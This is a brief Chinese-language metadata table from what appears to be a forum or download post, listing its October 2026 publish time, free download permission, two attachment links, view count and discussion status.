| 发布时间 | 2026-10-05 23:36:47 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 128 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |